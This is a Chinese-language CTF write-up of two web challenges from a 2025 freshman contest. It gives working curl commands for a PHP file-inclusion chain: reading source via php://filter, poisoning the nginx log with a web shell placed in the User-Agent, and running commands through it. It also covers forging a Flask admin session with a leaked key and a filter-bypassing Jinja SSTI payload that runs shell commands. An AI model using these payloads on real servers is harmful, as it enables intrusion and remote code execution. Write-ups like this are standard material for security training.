SWPUCTF 2025 秋季新生赛wp2

ezez_include(LEI)

猜测是一个读取数据库文件的功能

读一下,得到,说明存在LFI

有/bin/bash,确定是linux系统,读一下nginx配置文件,得到网站根目录是/var/www/html,入口文件时index.php

然后用 php://filter 读取 index.php 源码**,php://filter是php的输入输出流,可以读取文件内容而不执行。配合 convert.base64-encode 会把文件转成 base64 编码返回,避免被 PHP 解析。解码后就能看到完整源码**

复制代码
php://filter/convert.base64-encode/resource=index.php
      ⬆过滤器链     ⬆具体过滤器   ⬆资源路径标识=文件名

去解码

发现漏洞,include($file)文件包含函数没有过滤,直接把我们输入的参数,并把文件内容当作 PHP 代码执行

所以接下来思路:把马写到日志里面,然后include读并执行log,实现rce

看一下源码,是POST,表名叫nss

接下来用尝试curl发一个http请求

复制代码
curl -X POST "http://node1.anna.nssctf.cn:21789/" -d "nss=../../../../etc/passwd"

成功回显,开始注入

尝试传马,把马写在UA里面

复制代码
curl -A "<?php system(\$_GET['cmd']); ?>" -X POST "http://node1.anna.nssctf.cn:21789/" -d "nss="

-A:改User-Agent字段
-X POST+url:POST格式+目标网页
-d "nss=" 发送一个空的 POST 数据

执行id看一下我是谁,并且看一下日志,传成功了

复制代码
curl -X POST "http://node1.anna.nssctf.cn:21789/?cmd=id" -d "nss=../../../../var/log/nginx/access.log"

我是www-data

看目录

复制代码
curl -X POST "http://node1.anna.nssctf.cn:21789/?cmd=ls%20/" -d "nss=../../../../var/log/nginx/access.log"

有东西!

直接猫一下

复制代码
curl -X POST "http://node1.anna.nssctf.cn:21789/?cmd=cat%20/ffffflalalallalalalalalalalg" -d "nss=../../../../var/log/nginx/access.log"

拿到flag

我是复读机

先dirsearch扫描一下

发现一个robots.txt页面,提示了一个路径

根据路径找到了输入框

输入1跳到了/forbidden2页面,提示权限不足,猜测还有forbidden1等,试一下

f2:

f1:

f3:

view-source这几个页面,在f2里面看到一个密钥

whatweb扫一下:

有werkzeug(flash的http工具),还有session,应该是一个flask(基于python的web框架)

Flask的session默认存储在cookie里:

格式大致如下:

复制代码
eyJ1c2VyIjoiZ3Vlc3QifQ.afmRoQ.dd80CG5bxURHDXLCHppd1rZjMGU

由三部分组成,用 . 隔开:

部分 内容 说明
第1部分 eyJ1c2VyIjoiZ3Vlc3QifQ Base64 编码的 JSON 数据
第2部分 afmRoQ 时间戳
第3部分 dd80CG5bxURHDXLCHppd1rZjMGU 签名(用 SECRET_KEY 生成)

我们猜测这个密钥就是是secretkey

(curl的详细用法)

先看一眼session

复制代码
curl -sI http://node1.anna.nssctf.cn:23973/ | grep -i "set-cookie"

当前身份是guest

用flask-unsign伪造一个admin的session

复制代码
flask-unsign --sign --cookie "{'user':'admin'}" --secret "S4p3r_6arth_1s_Burning"

用伪造的session访问/Up1oAds

(中间换环境了,现在的环境是28849)

复制代码
curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.afoBQA.RbfEL8w5Ae2M1V4S8Ul9lT0aXDI" \
  http://node1.anna.nssctf.cn:28849/Up1oAds

页面回显完整的表单,说明admin进入成功

测试是否存在ssti漏洞

复制代码
curl -X POST \
  -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.afoBQA.RbfEL8w5Ae2M1V4S8Ul9lT0aXDI" \
  -d "payload={{7*7}}" \
  http://node1.anna.nssctf.cn:28849/render

{``{7*7}} 被计算为 49,证明存在 SSTI(服务端模板注入) 漏洞

最终payload

复制代码
 curl -X POST \
  -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.afoBQA.RbfEL8w5Ae2M1V4S8Ul9lT0aXDI" \
  -d "payload={{g['po''p']['__g''lobals__']['__b''uiltins__']['__imp''ort__']('o''s')['po''pen']('cat /f*')['r''ead']()}}" \
  http://node1.anna.nssctf.cn:28849/render
相关推荐
TechNomad16 小时前
Kotlin_Lambda编程详解
android·kotlin
熊猫_豆豆17 小时前
QT6 Android C++ 自制美观闹钟
android·c++·qt·闹钟
美狐美颜SDK开放平台17 小时前
Android/iOS直播APP平台开发中的视频美颜SDK优化技巧
android·ios·音视频·美颜sdk·第三方美颜sdk
聚美智数20 小时前
黄历查询-运势查询-国际法定节假日查询-API接口介绍
android·java·数据库
私人珍藏库21 小时前
[Android] 一木百宝箱-万能百宝箱+抖音去水印等几百种功能
android·人工智能·app·软件·多功能
wupa1 天前
在 enableEdgeToEdge 模式下处理软键盘与自定义面板协同
android
plainGeekDev1 天前
ProGuard → R8
android·java·kotlin
雨白1 天前
C 语言字符串:从字符数组、指针到核心操作实战
android
Java小白笔记1 天前
MySQL中存储过程大表分批删除历史数据
android·mysql·adb
aidou13141 天前
Kotlin中沉浸式状态栏显示布局
android·kotlin·windowmanager·沉浸式状态栏·insetslistener·insetscompat·systembars